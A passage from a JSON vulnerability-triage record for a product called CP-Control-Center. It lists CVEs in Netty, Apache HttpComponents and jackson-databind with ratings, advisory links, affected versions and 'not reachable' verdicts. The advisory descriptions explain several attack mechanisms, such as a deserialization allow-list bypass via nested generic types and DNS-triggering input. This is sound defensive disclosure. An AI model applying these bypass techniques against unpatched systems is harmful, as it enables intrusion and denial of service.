beyond this, and can be exploited for request-boundary confusion in pipelined or multiplexed transports where a front-end component treats those bytes differently. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-50020" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-50020" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-hvcg-qmg6-jm4c" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50020" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-50020" } ], "published": "2026-06-12T16:16:31+00:00", "updated": "2026-06-17T10:57:35+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. the product's HTTP endpoints do not wire netty's HttpObjectDecoder / HttpServerCodec (Jetty is used), so the vulnerable decoder path is not reachable." } }, { "id": "CVE-2026-50560", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "nvd" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "cwes": [ 770 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty HTTP/2 max header size handling produces an attack similar to HTTP/2 Rapid Reset. There is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to Netty, it appears that Netty will behave as follows: read the request; proxy the request to the origin; attempt to produce a response; and create an exception while writing the headers for the response. Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature. Versions 4.1.135.Final and 4.2.15.Final patch the issue.", "recommendation": "Upgrade io.netty:netty-codec-http2 to version 4.2.15.Final, 4.1.135.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-50560" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-50560" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-563q-j3cm-6jxm" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50560" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-50560" }, { "url": "https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings" } ], "published": "2026-06-12T16:16:32+00:00", "updated": "2026-06-17T10:57:42+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. no netty HTTP/2 codec (Http2FrameCodec / Http2ConnectionHandler) is wired on any listener, so the vulnerable path is not reachable." } }, { "id": "CVE-2026-54399", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 400 ], "description": "Uncontrolled Resource Consumption vulnerability in the HTTP/1.1 message parser\u00a0in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows\u00a0an remote attacker to cause a denial of service through memory exhaustion by sending messages with excessive number of headers / excessive header length", "recommendation": "Upgrade org.apache.httpcomponents.core5:httpcore5 to version 5.4.3, 5.5-beta2", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54399" }, { "url": "http://www.openwall.com/lists/oss-security/2026/07/01/4" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54399" }, { "url": "https://github.com/apache/httpcomponents-core" }, { "url": "https://github.com/apache/httpcomponents-core/commit/d96a00fec9b2e19f8005e35681df5f6cd6e21a9e" }, { "url": "https://github.com/apache/httpcomponents-core/commit/fdc53a32fe0fccf098cc67e71cd125e447c759ed" }, { "url": "https://lists.apache.org/thread/zmxh1pl2zohov5ntdh4lt85gfrlchgpy" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54399" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54399" } ], "published": "2026-07-01T17:16:36+00:00", "updated": "2026-07-24T20:04:03+00:00", "affects": [ { "ref": "pkg:maven/org.apache.httpcomponents.core5/httpcore5@5.3.3", "versions": [ { "version": "5.3.3", "status": "affected" } ] }, { "ref": "pkg:maven/org.apache.httpcomponents.core5/httpcore5@5.3.3", "versions": [ { "version": "5.3.3", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/org.apache.httpcomponents.core5/httpcore5@5.3.3" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/org.apache.httpcomponents.core5/httpcore5@5.3.3" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-54428", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 400, 770 ], "description": "Allocation of resources without limits or throttling in the HTTP/2 HPACK decoder in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows an remote attacker to cause a denial of service through memory exhaustion by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement causes the configured header list size limit to be applied.", "recommendation": "Upgrade org.apache.httpcomponents.core5:httpcore5-h2 to version 5.4.3, 5.5-beta2", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54428" }, { "url": "http://www.openwall.com/lists/oss-security/2026/07/01/3" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54428" }, { "url": "https://github.com/apache/httpcomponents-core" }, { "url": "https://github.com/apache/httpcomponents-core/commit/1ea1239bbbe3442a8382a87279c0a8119a7e358e" }, { "url": "https://github.com/apache/httpcomponents-core/commit/cc30ee058a7b10cbf4ad3dd6270ab6d1f6a74c49" }, { "url": "https://lists.apache.org/thread/5zjp8vczvxq19pw2rvhs21q446bhl0sd" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54428" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54428" } ], "published": "2026-07-01T18:16:34+00:00", "updated": "2026-07-24T20:03:41+00:00", "affects": [ { "ref": "pkg:maven/org.apache.httpcomponents.core5/httpcore5-h2@5.3.4", "versions": [ { "version": "5.3.4", "status": "affected" } ] }, { "ref": "pkg:maven/org.apache.httpcomponents.core5/httpcore5-h2@5.3.4", "versions": [ { "version": "5.3.4", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/org.apache.httpcomponents.core5/httpcore5-h2@5.3.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/org.apache.httpcomponents.core5/httpcore5-h2@5.3.4" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-54512", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "ghsa" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 184, 502 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV. If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container \u2014 for example java.util.ArrayList when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 3.1.4, 2.21.4", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54512" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40895" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54512" }, { "url": "https://bugzilla.redhat.com/2492010" }, { "url": "https://bugzilla.redhat.com/2492015" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492010" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492015" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54512" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54513" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-40895.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:40895" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5" }, { "url": "https://github.com/FasterXML/jackson-databind/issues/5988" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm" }, { "url": "https://linux.oracle.com/cve/CVE-2026-54512.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-43400.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54512" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54512" } ], "published": "2026-06-23T21:17:02+00:00", "updated": "2026-06-27T21:01:36+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. The control-center-backend uses only a single name-based @JsonTypeInfo site and the frontend has none, so no untrusted JSON is deserialized via class-name resolution and the PolymorphicTypeValidator bypass is not reachable." } }, { "id": "CVE-2026-54513", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "ghsa" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 184 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4, 3.1.4", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54513" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36839" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40895" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43218" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43400" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44061" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44062" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44063" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44064" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44065" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44066" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44271" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48095" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50846" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50847" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50848" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50849" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54622" }, { "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54513" }, { "url": "https://bugzilla.redhat.com/2492010" }, { "url": "https://bugzilla.redhat.com/2492015" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492010" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492015" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54512" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54513" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-40895.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:40895" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/01d1692c8d0ed03e51a0e3c4f8a9e6908e4931e5" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/24529da29fdf46ff94ca38de9ebf31cd188f5e8e" }, { "url": "https://github.com/FasterXML/jackson-databind/issues/5981" }, { "url": "https://github.com/FasterXML/jackson-databind/issues/5983" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5984" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rmj7-2vxq-3g9f" }, { "url": "https://linux.oracle.com/cve/CVE-2026-54513.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-43400.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54513" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54513.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54513" } ], "published": "2026-06-23T21:17:02+00:00", "updated": "2026-09-02T13:18:02+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. the product does not enable class-based polymorphic deserialization (default typing, or @JsonTypeInfo with Id.CLASS/Id.MINIMAL_CLASS) on untrusted input, so the array-subtype PolymorphicTypeValidator bypass is not reachable." } }, { "id": "CVE-2026-54514", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "cwes": [ 918 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.0.0 until 2.18.8, 2.21.4, and 3.1.4, JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4, 3.1.4", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54514" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54514" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/1f5a1037b1e9e05920e755cb35f198bcd46667e4" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5951" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-hgj6-7826-r7m5" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54514" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54514" } ], "published": "2026-06-23T21:17:02+00:00", "updated": "2026-06-27T20:55:09+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. no attacker-controlled JSON is deserialized into a java.net.InetSocketAddress (the type appears only in networking code, not bound via jackson), so the eager-DNS-resolution SSRF path is not reachable." } }, { "id": "CVE-2026-54515", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" } ], "cwes": [ 915 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.8.0 until 2.18.9, 2.21.5, and 3.1.4, in BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map \u2014 restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again. This vulnerability is fixed in 2.18.9, 2.21.5, and 3.1.4.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 3.1.4, 2.18.9, 2.21.5, 2.22.1", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54515" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54515" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/0e1b0b211f7a53baa62ba2f4c9bd006c7bf4d5fa" }, { "url": "https://github.com/FasterXML/jackson-databind/issues/5962" }, { "url": "https://github.com/FasterXML/jackson-databind/issues/5964" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5jmj-h7xm-6q6v" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54515" } ], "published": "2026-06-23T21:17:02+00:00", "updated": "2026-06-29T13:38:59+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. MapperFeature.ACCEPT_CASE_INSENSITIVE_PROPERTIES is not enabled in the product, so the case-insensitive @JsonIgnoreProperties bypass is not reachable." } }, { "id": "CVE-2026-54516", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" } ], "cwes": [ 915 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, POJOPropertiesCollector._renameProperties() allows a property with @JsonProperty(\"renamed\") on the getter and @JsonIgnore on the setter to be renamed rather than dropped. With MapperFeature.INFER_PROPERTY_MUTATORS enabled (default), the private backing field is retained; during deserialization BeanDeserializerFactory.addBeanProps() sees hasField()==true, builds a FieldProperty, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the @JsonIgnore on the setter. This vulnerability is fixed in 3.1.4.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.21.4, 3.1.4", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54516" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54516" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/c3d56dd25d52319828147c5b9aeabf2d485c250a" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/e88cb17006b6af4883b973058f0bb6486e5074af" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5967" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5968" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-9fxm-vc8v-hj55" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54516" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54516" } ], "published": "2026-06-23T21:17:02+00:00", "updated": "2026-06-27T20:52:12+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. No DTO anywhere in the codebase uses the @JsonIgnore-plus-renamed-setter pattern this CVE targets; the annotation is only ever used for response shaping, never as a deserialization security boundary." } }, { "id": "CVE-2026-54517", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" }, { "source": { "name": 